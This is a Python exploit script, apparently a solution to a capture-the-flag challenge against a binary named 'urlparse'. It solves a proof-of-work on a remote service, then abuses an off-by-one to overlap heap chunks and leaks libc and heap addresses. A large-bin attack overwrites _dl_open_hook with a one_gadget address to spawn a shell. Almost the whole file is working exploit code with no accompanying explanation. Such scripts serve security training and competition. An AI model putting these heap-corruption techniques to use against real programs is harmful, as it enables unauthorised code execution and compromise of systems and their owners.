#!/usr/bin/env python
# coding:utf-8
# Usage: ./exploit.py MODE=remote LOG_LEVEL=warn NOPTRACE NOASLR

from ctf import *

binary = './urlparse'
context.terminal = ['tmux', 'splitw', '-h']
mode = args['MODE'].lower()

code = context.binary = ELF(binary)
if args['LIBDEBUG']:
    os.environ['LD_LIBRARY_PATH'] = '/dbg{}/lib'.format(code.bits)
if args['LIBC']:
    os.environ['LD_PRELOAD'] = os.path.abspath(args['LIBC'])
libc = code.libc
libc.symbols['main_arena'] = libc.symbols['__malloc_hook'] + 0x10
libc.symbols['one_gadget'] = 0xf1147


def exploit():
    if mode == 'remote':
        context.noptrace = True
        io = remote('47.75.4.252', 10011)
        io.recvuntil('sha256(xxxx+')
        suffix = io.recvuntil(')', drop=True)
        io.recvuntil('== ')
        hash_str = io.recvline(keepends=False)
        io.sendline(iters.bruteforce(lambda x: sha256sumhex(x + suffix) == hash_str, string.printable[:62], 4, 'fixed'))
    elif mode == 'debug':
        io = gdb.debug(binary)
        io.gdb.c()
    else:
        io = process(binary)

    def create_url(content='', size=None):
        assert '\n' not in content
        io.sendlineafter('> ', 1)
        if size is None:
            size = len(content)
            if content[-1] == '\0':
                content = content[:-1]
            else:
                size += 1
        if len(content) + 1 < size:
            content += '\n'
        io.sendline(size)
        if size > 1:
            io.send(content)

    def encode_url(idx):
        io.sendlineafter('> ', 2)
        io.sendline(idx)

    def decode_url(idx):
        io.sendlineafter('> ', 3)
        io.sendline(idx)

    def list_url(idx=None):
        io.sendlineafter('> ', 4)
        if idx is not None:
            io.recvuntil('{}: '.format(idx))

    def delete_url(idx):
        io.sendlineafter('> ', 5)
        io.sendline(idx)

    def encode(x):
        if isinstance(x, int):
            x = p64(x)
        return '%' + '%'.join(group(2, enhex(x)))

    def fill_data(content, size=None):
        clip = content.split('\0')
        for i in xrange(len(clip), 0, -1):
            create_url(' '.join(clip[:i]) + '\0', size)
            delete_url(0)

    # prepare data for merge
    create_url(cyclic(0x8f))
    create_url(size=0xffd0)
    fill_data(fit({
        0x8: 0x10000,
        0x10: 0xf0,
    }, length=0x30), 0x90)
    delete_url(0)
    create_url(size=0x100d8) # 0x5555558570a0
    create_url(size=0x100) # 0x555555867190

    # off by 1
    delete_url(1)
    encode_url(1)
    decode_url(1)

    # prepare unsorted bin
    create_url(size=0x80)
    create_url(size=0x80) # gap
    create_url(size=0x400) # 0x5555558571c0
    create_url(size=0x80) # gap
    create_url(size=0x420) # 0x555555857660
    create_url(size=0xf600) # gap
    delete_url(5)

    # trigger merge
    delete_url(5)

    # leak address
    create_url(size=0x80)
    create_url(size=0xa0)
    create_url(size=0xa0)
    delete_url(1)
    list_url(6)
    libc.address = unpack(io.recvline(keepends=False), 'all') - libc.symbols['main_arena'] - 0x58
    io.recvuntil('7: ')
    heap_base = unpack(io.recvline(keepends=False), 'all') - 0x660
    info('libc address: %#x', libc.address)
    info('heap base address: %#x', heap_base)
    delete_url(0)
    delete_url(0)

    # send 0x411 to large bin (0x5555558571c0)
    delete_url(3)
    create_url(size=0x440)
    delete_url(0)

    # use overlap to corrupt previous large bin
    fill_data(fit({
        0x110: 0x411,
        0x120: libc.symbols['_dl_open_hook'] - 0x10,
        0x130: libc.symbols['_dl_open_hook'] - 0x20,
    }), 0x440)

    # send 0x431 to large bin to modify _dl_open_hook (0x555555857660)
    delete_url(1)
    create_url(size=0x440)
    delete_url(0)

    # fill value for *_dl_open_hook
    create_url(size=0x590)
    create_url(fit({0x8: libc.symbols['one_gadget']}), size=0x430)

    # trigger
    delete_url(4)

    io.gdb.attach()
    io.gdb.execute('parseheap')
    io.gdb.execute('dq 0x555555857000')

    io.interactive()


if __name__ == '__main__':
    exploit()
